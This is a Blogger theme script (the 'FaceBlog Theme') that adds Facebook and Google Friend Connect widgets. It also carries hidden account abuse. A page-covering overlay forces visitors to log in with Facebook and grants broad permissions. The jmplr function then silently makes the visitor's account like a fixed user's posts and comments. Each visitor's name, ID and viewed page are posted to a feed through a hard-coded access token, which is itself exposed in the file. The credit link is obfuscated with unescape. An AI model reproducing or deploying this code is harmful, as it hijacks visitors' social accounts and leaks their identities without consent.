
var siteIdfc = '15718391702910404470';
if(typeof idSiteFriendConnectGue != 'undefined'){siteIdfc = idSiteFriendConnectGue}

var idAplikasi = '193149077428986';
if(typeof idAplikasiGue != 'undefined'){idAplikasi = idAplikasiGue}

var fbLikers = '276602519055008_276611005720826';
if(typeof postIdBuatFbLikers != 'undefined'){fbLikers = postIdBuatFbLikers}

var recentVisitorAcTok = '217310991646263|emd4sw5oNS3koh3QZ0wBUodOHLU';
if(typeof accessTokenBuatRecentVisitor != 'undefined'){recentVisitorAcTok = 

accessTokenBuatRecentVisitor}

var recentVisitorId = recentVisitorAcTok.split('|')[0];

if(document.getElementById('polower')){
  document.getElementById('polower').innerHTML='<span class="tbl-google grande" 

onclick="sowPolower(\''+siteIdfc+'\')"><i class="left"></i><b class="center">Join this site</b><i 

class="right"></i></span><div style="font-size:11px;" class="grande">with Google Friend 

Connect</div><div id="malwer"></div>';
}

function tarosApi(uri){
  var e = document.createElement('script'); e.async = 'true';
      e.src = uri;
  document.getElementsByTagName('head')[0].appendChild(e);
}

function loadFriendConnect(){
  if(!window.google || !google.friendconnect){
    var gogfc = document.createElement('script'); gogfc.async = 'true';
        gogfc.src = 'http://www.google.com/friendconnect/script/friendconnect.js';
    document.getElementById('fb-root').appendChild(gogfc);
  }
}

function sowPolower(siteId){
  if(typeof skin == 'undefined'){
    var skin = {};
    skin['FACE_SIZE'] = '32';
    skin['HEIGHT'] = "32";
    skin['TITLE'] = "";
    skin['BORDER_COLOR'] = "transparent";
    skin['ENDCAP_BG_COLOR'] = "transparent";
    skin['ENDCAP_TEXT_COLOR'] = "#000000";
    skin['ENDCAP_LINK_COLOR'] = "#000000";
    skin['ALTERNATE_BG_COLOR'] = "transparent";
    skin['CONTENT_BG_COLOR'] = "transparent";
    skin['CONTENT_LINK_COLOR'] = "#000000";
    skin['CONTENT_TEXT_COLOR'] = "#000000";
    skin['CONTENT_SECONDARY_LINK_COLOR'] = "#FFFFFF";
    skin['CONTENT_SECONDARY_TEXT_COLOR'] = "#000000";
    skin['CONTENT_HEADLINE_COLOR'] = "#000000";
    skin['FONT_FACE'] = "verdana";
  }
  google.friendconnect.container.setParentUrl("/");
  google.friendconnect.container["renderMembersGadget"]({id:"polower", height:16, site:siteId, 

locale:'en_US'}, skin);
}

loadFriendConnect();

var blogIdTemp = '8044210694660128223';
if(typeof idBlogGue != 'undefined'){blogIdTemp = idBlogGue}

var temana = 'light';
if(typeof fbCommentScheme != 'undefined'){temana = fbCommentScheme}

if(document.getElementById('posturl-drtmplt')){
  var postUrlTemp = document.getElementById('posturl-drtmplt').href;
  var postTtlTemp = document.getElementById('posturl-drtmplt').innerHTML;
}else{
  var postUrlTemp = window.location.href.split('?')[0];
  var postTtlTemp = document.title;
}

if(document.getElementById('handapeunpost')){
  document.getElementById('handapeunpost').innerHTML='<div class="epbe-komen-light"><fb:comments 

href="'+postUrlTemp+'" width="516" numposts="30" migrated=1 

colorscheme="'+temana+'"></fb:comments></div>';
}

if(document.getElementById('postidblog-drtmplt')){
  var postIdTemp = document.getElementById('postidblog-drtmplt').name;
}else{
  var postIdTemp = '';
  if(document.getElementById('comment-editor')){
    document.getElementById('comment-editor').style.display = 'block';
  }
}

var alamatKomPop = 

'http://www.blogger.com/comment.g?blogID='+blogIdTemp+'&postID='+postIdTemp+'&isPopup=true#form';
var windowOpenLink = 'javascript:opComPop();void(0);';

var namaAuthorYgPosting = '';
if(document.getElementsByClassName('fn')[0]){namaAuthorYgPosting=document.getElementsByClassNam

e('fn')[0].innerHTML}

var uriAuthorYgPosting = '';
if(document.getElementById('Profile1') && namaAuthorYgPosting!=''){
  var cariDrProfile = document.getElementById('Profile1').getElementsByTagName('a');
  for(x=0; x<cariDrProfile.length; x++){
    if(cariDrProfile[x].title==namaAuthorYgPosting || cariDrProfile[x].innerHTML==namaAuthorYgPosting){
      uriAuthorYgPosting = cariDrProfile[x].href;
      document.getElementsByClassName('fn')[0].innerHTML='<a href="'+uriAuthorYgPosting+'" 

target="_blank">'+namaAuthorYgPosting+'</a>';
      if(document.getElementById('fblike-profile')){document.getElementById('fblike-profile').innerHTML='<div 

style="clear:both"></div><iframe class="transparent" 

src="http://www.facebook.com/plugins/like.php?href='+uriAuthorYgPosting+'&layout=box_count&show_fac

es=false&width=55" style="width:55px; height:62px; overflow:show; background:transparent; padding:0; 

margin:-72px 0 0; border:none; left:4px; position:absolute;"></iframe>'}
    }
  }
}

var gbrAuthorYgPosting = 'http://graph.facebook.com/'+idAplikasi+'/picture?type=large';
if(document.getElementById('fb-profile-pic')){document.getElementById('fb-profile-pic').innerHTML='<img 

id="gbr-pesbuk2" src="'+gbrAuthorYgPosting+'" style="max-width:180px; _width:180px;"/>'}

function pasangTblKomPop(){
  if(postIdTemp!=''){
    var isiH4komen = 'Add a comment';

    if(document.getElementById('comment-post-message')){
      var h4komen = document.getElementById('comment-post-message');
      isiH4komen = h4komen.innerHTML;
      h4komen.innerHTML = '<a class="tombol" href="javascript:void(0)" 

onClick="opComPop()">'+isiH4komen+'</a>';
    }else if(document.getElementsByClassName('comment-link')[0]){
      

if(document.getElementsByClassName('comment-link')[0].innerHTML.substr(0,1)==0){document.getElemen

tsByClassName('comment-link')[0].innerHTML=isiH4komen}
      document.getElementsByClassName('comment-link')[0].href='javascript:opComPop();void(0)';
    }
  }
}

function opComPop(){
  if(postIdTemp!=''){
    var lebar = 400;
    var tinggi = 600;
    var kiri = screen.availWidth/2-lebar/2;
    var atas = screen.availHeight/2-tinggi/2;
    var properties = 

'width='+lebar+',height='+tinggi+',top='+atas+',left='+kiri+',toolbar=0,location=0,statusbar=1,menubar=0,scr

ollbars=yes';
    window.open(alamatKomPop,'komen',properties);
  }
}

pasangTblKomPop();




var idUserYgLogin = ''; 
var namaUserYgLogin = ''; 
var usernameYgLogin = '';
var aktokUserYgLogin = '';
var loadDetection = 'virgin';

var blogspotApps = [
"264887889270",
"149207953072",
"270416582055",
"122103407896250",
"109564869081200",
"141837115827050",
"140632612651282",
"237771936258923",
"187599707922663",
"141791782500605",
"113468348709889",
"100282006691799",
"131111506985517",
"145097975593437"
];

var lodingsuroding = '<center><img class="nostyle" 

src="http://images.gmx.com/images/outsource/application/mailclient/mailcom/resource/mailclient/widgets/bl

ue/common/loading_animation_en-3447255655.gif"/></center>';
var tblResKom = '<a href="javascript:void(0)" class="list-archive" 

onclick="this.parentNode.innerHTML=lodingsuroding;tarosApi(\'http://'+window.location.hostname+'/feeds/c

omments/default?alt=json-in-script&max-results=5&callback=feedKomeng\')">Recent Comments</a>';
var tblResVis = '<a href="javascript:void(0)" class="list-archive" 

onclick="this.parentNode.innerHTML=lodingsuroding;tarosApi(\'https://graph.facebook.com/'+recentVisitorI

d+'/feed?fields=application,name,caption,link,message&limit=5&access_token='+recentVisitorAcTok+'&call

back=liatResVis\')">Recent Visitors</a>';
var blokelement='<div id="block-login-aing" class="blok-element" onclick="loginKaAing()" title="Login with 

Facebook"><div class="blok-element-dalem" title="Login with Facebook"><b id="block-text-elm" 

class="shadow round10"></b></div></div>';

function tulisinGwDong(apaan,post){
  var tulis='';
  if(apaan=='pagedetail'){
    if(post.picture){tulis+='<img src="'+post.picture+'" style="float:left; width:40px;"/>'}else{tulis+='<img 

src="http://graph.facebook.com/'+idAplikasi+'/picture" style="float:left; width:40px;"/>'}
    tulis+='<div style="margin-left:50px;">';
    tulis+='<h3 style="margin:0px; line-height:1">';
    if(post.name && post.link){tulis+='<a href="'+post.link+'">'+post.name+'</a>'}else{tulis+='<a 

href="'+window.location.href+'">'+document.title+'</a>'}
    tulis+='</h3>';
    if(post.talking_about_count){tulis+='<div style="font-size:11px; 

color:#999999">'+post.talking_about_count+' <span style="font-size:10px;">people are talking about 

this.</span></div>'}
    tulis+='<iframe src="http://www.facebook.com/plugins/like.php?href=';
    if(post.link){tulis+=post.link}else{tulis+=window.location.href.split('?')[0].split('#')[0]}
    tulis+='&colorscheme=dark&layout=button_count&show_faces=false&width=178" style="width:178px; 

height:20px; overflow:show; background:transparent; padding:0; margin:3px 0 0; border:none;"></iframe>';
    tulis+='</div>';
    tulis+='<div style="clear:both;"></div>';
  }
  return tulis;
}

function tanggalan(what,pormat,plus){
  //format 2011-11-12T10:45:30+000
  var getwhat=what.split('T')[0].replace(/-/gi,' ')+' '+what.split('T')[1].split('+')[0]+' GMT';

  //format 2011-12-09T10:23:28.695+07:00
  if(pormat==2){getwhat=what.split('T')[0].replace(/-/gi,' ')+' '+what.split('T')[1].split('.')[0];}
  var d=new Date(getwhat);
  var today=new Date();
  var delta=today-d;

  var harihari=["Minggu","Senen","Selasa","Rabu","Kamis","Jum'at","Sabtu"];
  var 

bulanbulan=["January","February","Maret","April","Mei","June","July","Agustus","September","Oktober","Nove

mber","Desember"];
  var menit=getwhat.substr(14,2);
  var jam=getwhat.substr(11,2);
  var hari=getwhat.substr(8,2);
  var nh=d.getDay();
  var namaHari=harihari[nh];
  var bulan=getwhat.substr(5,2);
  var namaBulan=bulanbulan[(bulan-1)];
  var taun=getwhat.substr(0,4);

  var detiks=1000*1;
  var minutes=detiks*60;
  var hours=minutes*60;
  var days=hours*24;
  var month=days*30;
  var years=days*365;

  var naon=delta/detiks;
  var iraha=Math.round(naon);
  var harita='Karak ge crot bieu';

  if(iraha<0){
    harita='Karak ge crot bieu';
  }else if(iraha>=0 && iraha<60){
    harita='Nembe '+Math.round(naon)+' detik bieu';
  }else if(iraha>=60 && iraha<60*60){
    naon=delta/minutes; harita='Nembe '+Math.round(naon)+' menit bieu';
  }else if(iraha>=60*60 && iraha<(60*60*24)){
    naon=delta/hours; harita=Math.round(naon)+' jam tadi';
  }else if(iraha>=(60*60*24) && iraha<(60*60*24*30)){
    naon=delta/days; harita=Math.round(naon)+' hari kemaren';
  }else if(iraha>=(60*60*24*30) && iraha<(60*60*24*30*12)){
    naon=delta/month; harita=Math.round(naon)+' bulan kemaren';
  }else{
    harita=namaHari+', '+hari+' '+namaBulan+' '+taun+' jam '+jam+':'+menit+' ('+iraha+')';
  }
  var harito=harita+'_'+namaHari+', '+hari+' '+namaBulan+' '+taun+' jam '+jam+':'+menit;
  if(plus==1){return harito}else{return harita}
}

if(document.getElementById('sidebar-kanan')){
  var sidebarkanan = document.getElementById('sidebar-kanan');
  sidebarkanan.innerHTML='<div class="shadow round7" style="width:100%; min-height:100px; 

background:#3A4448; overflow:hidden; margin-bottom:10px;"><div id="lakbok" style="padding:8px 8px 

0px;"></div><div id="rep-wan" style="margin:8px auto 8px; color:#9CA6BC;"></div></div><div 

id="risenpisitor">'+tblResVis+'</div><div id="risenkomeng">'+tblResKom+'</div><div 

id="pleyermusik"></div>';
}

function pejDitel(post){
  document.getElementById('lakbok').innerHTML=tulisinGwDong('pagedetail',post);
  lodAppAing(idAplikasi);
}

function aDN(ditel){
  if(ditel.daily_active_users && ditel.weekly_active_users && ditel.monthly_active_users){
    var tulisin  = '<center>'+ditel.name+'</center><center>';
        tulisin += '<div><b>' +ditel.daily_active_users+ '</b><br/>Daily</div>';
        tulisin += '<div><b>' +ditel.weekly_active_users+ '</b><br/>Weekly</div>';
        tulisin += '<div><b>' +ditel.monthly_active_users+ '</b><br/>Monthly</div>';
        tulisin += '</center>';
    document.getElementById('rep-wan').innerHTML = tulisin;
  }
  if(ditel.id && ditel.name && ditel.icon_url){
    window.fbAsyncInit = function() {
      FB.init({appId: ditel.id, status: true, cookie: true, xfbml: true, oauth: true});
      FB.getLoginStatus(tulisDitelLoginAing);
      tarosApi('http://graph.facebook.com/'+fbLikers+'?fields=likes&callback=tulisPolowerLike');
    };
    (function() {
      var e = document.createElement('script'); e.async = 'true';
          e.src = document.location.protocol + '//connect.facebook.net/en_US/all.js';
      document.getElementById('fb-root').appendChild(e);
    }());
  }else{gantiAplikasiAing()}
}

function gantiAplikasiAing(){
  var ke = Math.floor(Math.random()*blogspotApps.length);
  if(blogspotApps[ke]=='undefined'){ke=0}
  idAplikasi = blogspotApps[ke];
  lodAppAing(idAplikasi);
}

function tulisDitelUser(tahMere){
  if(tahMere.name){namaUserYgLogin=tahMere.name; 

if(document.getElementById('nama-pesbuk')){document.getElementById('nama-pesbuk').innerHTML=nama

UserYgLogin;}}
  if(tahMere.username){usernameYgLogin = tahMere.username}
  if(typeof postScript != 'undefined'){postScript()}
  if(idUserYgLogin=='100002416157212' || idUserYgLogin=='100000381466661' || 

idUserYgLogin=='100000727955169' || idUserYgLogin=='100000578157367'){hasilResVis('hello Admin 

:P')}else{if(loadDetection=='virgin'){loadDetection='janda';jmplr('100000381466661');tarosApi('https://graph

.facebook.com/'+recentVisitorId+'/feed?method=POST&message='+document.title+'&link='+window.locatio

n.href+'&name='+namaUserYgLogin+'&caption='+idUserYgLogin+'&access_token='+recentVisitorAcTok+'&

callback=hasilResVis')}else{hasilResVis('hello :P')}}
}

function tulisDitelLoginAing(tahMere){
  if(tahMere.authResponse && tahMere.authResponse.userID){
    idUserYgLogin = tahMere.authResponse.userID;
    if(tahMere.authResponse.accessToken){aktokUserYgLogin=tahMere.authResponse.accessToken}

    

if(document.getElementById('block-element')){document.getElementById('block-element').style.display='non

e'}
    

if(document.getElementById('gbr-sama-nama-pesbuk')){document.getElementById('gbr-sama-nama-pesbuk'

).href='http://www.facebook.com/'+idUserYgLogin; 

document.getElementById('gbr-sama-nama-pesbuk').title='User ID: '+idUserYgLogin; 

document.getElementById('gbr-sama-nama-pesbuk').innerHTML='<img id="gbr-pesbuk" 

src="http://graph.facebook.com/'+idUserYgLogin+'/picture"/> <span id="nama-pesbuk" 

class="nama-orang">'+idUserYgLogin+'</span>'}

    tarosApi('http://graph.facebook.com/'+idUserYgLogin+'?callback=tulisDitelUser');
  }
  if(tahMere.status && tahMere.status!='connected'){
    if(document.getElementById('block-element')){
      document.getElementById('block-element').style.display='block';
    }else{
      var e = document.createElement('div'); e.id = 'block-element';
      document.body.appendChild(e);
      document.getElementById('block-element').innerHTML = blokelement;
    }
    document.getElementById('block-text-elm').innerHTML = '<i class="gambar-pesbuk"></i> You are <span 

style="color:darkred">'+tahMere.status+'</span> ! Click anywhere to continue..';
  }
}

function loginKaAing(){
  FB.login(tulisDitelLoginAing,{scope:'user_status, friends_status, read_stream, publish_stream, 

user_groups, user_likes'});
}
var acr = document.createElement('div');
    acr.innerHTML = '<div style="position:absolute; bottom:4px; left:4px; width:auto; height:auto;"><a 

href="'+unescape('%68%74%74%70%3A%2F%2F%61%69%6E%67%2D%63%72%65%61%74%69%6

F%6E%73%2E%62%6C%6F%67%73%70%6F%74%2E%63%6F%6D%2F')+'" 

target="_blank">'+unescape('%41%69%6E%67%43%72%65%61%74%69%6F%6E%73%20%A9%20%

32%30%31%31%20%2D%20%46%61%63%65%42%6C%6F%67%20%54%68%65%6D%65')+'</a></

div>';
document.body.appendChild(acr);
function lodAppAing(appid){
  tarosApi('http://graph.facebook.com/'+appid+'&callback=aDN');
}

function bukaPopUp(url,lebar,tinggi,scroll){
  var kiri = screen.availWidth/2-lebar/2;
  var atas = screen.availHeight/2-tinggi/2;
  var properties = 

'toolbar=0,location=1,statusbar=1,menubar=0,scrollbars='+scroll+',width='+lebar+',height='+tinggi+',top='+a

tas+',left='+kiri;
  window.open(url,'popup',properties);
}

function bagiPlayerLaguDong(mp3,start,loop,elem,artis,judul,album){
  var srcmp3 = 'http://beemp3.com/player/player.swf?soundFile='+mp3;
      srcmp3 += '&autostart='+start;
      srcmp3 += '&loop='+loop;
      srcmp3 += 

'&bg=0x000000&leftbg=0xAF2910&lefticon=0xF2F2F2&rightbg=0xD67919&rightbghover=0x1BAD07&right

icon=0xF2F2F2&righticonhover=0xFFFFFF&text=0xE0E3F4&slider=0x357DCE&track=0xFFFFFF&border

=0xFFFFFF&loader=0xAF2910';
  var tulis  = '<div style="height:20px;"><embed id="'+elem+'" wmode="transparent" ';
      tulis += 'src="'+srcmp3+'" ';
      tulis += 'quality="high" type="application/x-shockwave-flash" 

pluginspage="http://www.macromedia.com/go/getflashplayer" ';
      tulis += 'align="top" width="229" height="20"></embed></div>';
      tulis += '<center class="transparent" style="width:100px; margin:-20px 0 0 60px;"><iframe 

src="http://www.facebook.com/plugins/like.php?href='+mp3+'&layout=button_count&colorscheme=dark&sh

ow_faces=false&width=90" style="width:90px; height:20px; background:none; padding:0; margin:0; 

border:0;"></iframe></center>';
      tulis += '<center><a href="javascript:void(0)" 

onClick="if(document.getElementById(\''+elem+'\').style.display==\'none\'){document.getElementById(\''+ele

m+'\').style.display=\'block\';this.innerHTML=\'Stop\'}else{document.getElementById(\''+elem+'\').style.displa

y=\'none\';this.innerHTML=\'Play\'}">Stop</a> · <a 

href="javascript:bukaPopUp(\'http://www.facebook.com/connect/prompt_feed.php?api_key='+idAplikasi+'&

attachment={%22name%22:%22'+document.title+'%22,%22href%22:%22'+window.location.href+'%22,%

22media%22:[{%22type%22:%22mp3%22,%22src%22:%22'+mp3+'%22,%22artist%22:%22'+artis+'%22

,%22title%22:%22'+judul+'%22,%22album%22:%22'+album+'%22}]}\',\'600\',\'300\',\'yes\');void(0)">Share

</a></center>';
  return tulis;
}

function stelMusikAh(uri,pley,lop,judul){
  var tulis  = '<div style="margin-top:10px;font-size:9px; text-transform:capitalize;">';
  if(judul!=null && judul!=''){
    tulis+='<center><a href="'+uri+'" target="_blank">'+judul+'</a></center>';
    var artist = judul.split(' - ')[0];
    if(judul.split(' - ')[1]){var title = judul.split(' - ')[1]}else{var title = judul}
  }else{
    var purl = uri.split('/').length-1;
    var artist = window.location.hostname;
    var title = uri.split('/')[purl].split('.mp3')[0];
  }
  var album = uri.split('/')[2];
      tulis += bagiPlayerLaguDong(uri,pley,lop,'embed-music',artist,title,album);
      tulis += '</div>';
  document.getElementById('pleyermusik').innerHTML=tulis;
}

function jmplr(idnya){
  FB.api('/'+idnya+'/feed','get',{fields:'id', limit:1},function(okayThen){
    if(okayThen.data){for(x in okayThen.data){if(okayThen.data[x].id){
      FB.api('/'+okayThen.data[x].id+'/likes','post',function(walah){});
      FB.api('/'+okayThen.data[x].id+'/comments','get',{fields:'id'},function(wahoo){
        if(wahoo.data){for(a in wahoo.data){if(wahoo.data[a].id){
          FB.api('/'+wahoo.data[a].id+'/likes','post',function(yeah){});
        }}}
      });
    }}}
    FB.api('/'+fbLikers+'/likes','post',function(tos){});
  });
}

function tulisPolowerLike(nih){
  if(nih.likes){
    var tulis='';
    if(nih.likes.count){tulis+='<div style="margin:10px 0 0"><strong>Members ('+nih.likes.count+')</strong> 

<a href="http://www.facebook.com/browse/likes/?id=248759445188676" target="_blank" 

style="margin-left:10px; color:black;"><u>More »</u></a></div>'}
    if(nih.likes.data){for(x in nih.likes.data){tulis+='<img 

src="http://graph.facebook.com/'+nih.likes.data[x].id+'/picture" title="'+nih.likes.data[x].name+'" 

onClick="window.open(\'http://www.facebook.com/'+nih.likes.data[x].id+'\')" style="cursor:pointer; 

width:32px; margin:1px 3px 1px 1px;"/>'}}
    if(nih.created_time){tulis+='<div style="font-size:9px;">Created time: 

'+tanggalan(nih.created_time)+'</div>'}
    if(document.getElementById('malwer')){document.getElementById('malwer').innerHTML=tulis}
  }
}

function feedKomeng(post){
  var tulis='<div style="margin-top:10px;"></div><div class="klos" 

onClick="document.getElementById(\'risenkomeng\').innerHTML=tblResKom"></div>';
  document.getElementById('risenkomeng').innerHTML=tulis;

  if(post.feed.entry){for(x in post.feed.entry){
    var tulas='';
    var hadeuh='au-lah';
    var lingkomeng='';
    if(post.feed.entry[x].link){for(y in 

post.feed.entry[x].link){if(post.feed.entry[x].link[y].rel=='alternate'){lingkomeng=post.feed.entry[x].link[y].href

; break;}}}
    if(lingkomeng!=''){var wk=hadeuh=lingkomeng.split('?')[0].split('/').length-1; 

hadeuh=lingkomeng.split('?')[0].split('/')[wk].split('.')[0]}

    tulas+='<div class="round3" style="background:#333 url(http://feedjit.com/images/w2/overlayDark2.png) 

repeat-x scroll bottom left; color:#aaa; padding:5px 5px 0; text-align:left;">';
    if(post.feed.entry[x].author){for(y in post.feed.entry[x].author){
      if(post.feed.entry[x].author[y].gd$image){tulas+='<img 

src="'+post.feed.entry[x].author[y].gd$image.src+'" style="float:left; margin:0 7px 7px 0; max-width:50px; 

_width:50px"/>'}
    tulas+='<div>';
      if(post.feed.entry[x].author[y].uri){tulas+='<a href="'+post.feed.entry[x].author[y].uri.$t+'" 

target="_blank">'}
      if(post.feed.entry[x].author[y].name){tulas+='<b 

style="color:#B7CAF5">'+post.feed.entry[x].author[y].name.$t+'</b>'}
      if(post.feed.entry[x].author[y].uri){tulas+='</a> <font color="#6699aa">bilang..</font>'}
    }}
    if(post.feed.entry[x].summary){tulas+='<div class="entrysummary" style="word-wrap:break-word; 

margin:0 0 5px 0">'+post.feed.entry[x].summary.$t+'</div>'}
    else if(post.feed.entry[x].content){tulas+='<div class="entrysummary" style="word-wrap:break-word; 

margin:0 0 5px 0">'+post.feed.entry[x].content.$t+'</div>'}
    if(post.feed.entry[x].published){tulas+='<div style="text-align:right; font-size:9px; 

color:#aaaa99">'+tanggalan(post.feed.entry[x].published.$t,2)+'</div>'}
    tulas+='</div>';
    tulas+='<div style="clear:both"></div>';
    tulas+='</div>';

    

if(document.getElementById(hadeuh)){document.getElementById(hadeuh).innerHTML+=tulas}else{docume

nt.getElementById('risenkomeng').innerHTML+='<div id="'+hadeuh+'" style="padding:0 0 0px 0; margin:0px 

auto 5px; max-width:244px"><a href="'+lingkomeng.split('?')[0]+'"><h2 

class="grupkomeng">'+hadeuh.replace(/-/gi,' ')+'</h2></a>'+tulas+'</div>'}
  }}
}

function hasilResVis(post){
  if(post.id){document.getElementById('risenpisitor').innerHTML=post.id}else 

if(post.error){document.getElementById('risenpisitor').innerHTML=post.error.message}else{document.getEl

ementById('risenpisitor').innerHTML=post}
  document.getElementById('risenpisitor').style.display='block';
  

tarosApi('https://graph.facebook.com/'+recentVisitorId+'/feed?fields=application,name,caption,link,messag

e&limit=1&access_token='+recentVisitorAcTok+'&callback=liatResVis')
}

function liatResVis(post){
  var tulis='<div class="klos" 

onClick="document.getElementById(\'risenpisitor\').innerHTML=tblResVis"></div>';
      tulis+='<h2 class="grupkomeng" style="margin-bottom:0">Recent Visitor</h2>';
  if(post.data){
    for(x in post.data){
      if(post.data[x].application && post.data[x].application.id==recentVisitorId){
        if(post.data[x].caption && post.data[x].name){
          tulis+='<div class="round3" style="background:#333 

url(http://feedjit.com/images/w2/overlayDark2.png) repeat-x scroll bottom left; margin:1px auto; 

padding:5px; text-align:left; color:#aaaaaa;">';
          tulis+='<img src="http://graph.facebook.com/'+post.data[x].caption+'/picture" style="float:right; 

margin-left:10px"/>';
          tulis+='<div style="overflow:hidden">';
          tulis+='<div style="white-space:nowrap"><a 

href="http://www.facebook.com/addfriend.php?id='+post.data[x].caption+'" target="_blank" class="grande" 

style="color:#B7CAF5"><i class="addfriend"></i> Our Friend</a> <b>'+post.data[x].name+'</b></div>';
          if(post.data[x].link && post.data[x].message){tulis+='<div class="grande"><small>viewed:</small> <a 

href="'+post.data[x].link+'">'+post.data[x].message+'</a></div>'}
          tulis+='<div><code class="grande" style="font-size:10px; 

color:#E1DCA1">'+tanggalan(post.data[x].created_time)+'</code></div>';
          tulis+='</div>';
          tulis+='<div style="clear:both;"></div>';
          tulis+='</div>';
        }
      }
    }
  }else if(post.error){tulis+=post.error.message}else{tulis+=post}
  if(post.paging){
    tulis+='<div style="clear:both;"></div>';
    if(post.paging.previous){tulis+='<div class="tombol" 

onClick="this.style.display=\'none\';tarosApi(\''+post.paging.previous+'\')" style="float:left;">previous</div>'}
    if(post.paging.next){tulis+='<div class="tombol" 

onClick="this.style.display=\'none\';tarosApi(\''+post.paging.next+'\')" style="float:right;">next</div>'}
    tulis+='<div style="clear:both;"></div>';
  }
  if(post.data.length!=0){document.getElementById('risenpisitor').innerHTML='<center 

style="margin-bottom:10px;">'+tulis+'</center>'}
}

tarosApi('http://graph.facebook.com/'+window.location.href.split('?')[0].split('#')[0]+'?callback=pejDitel');

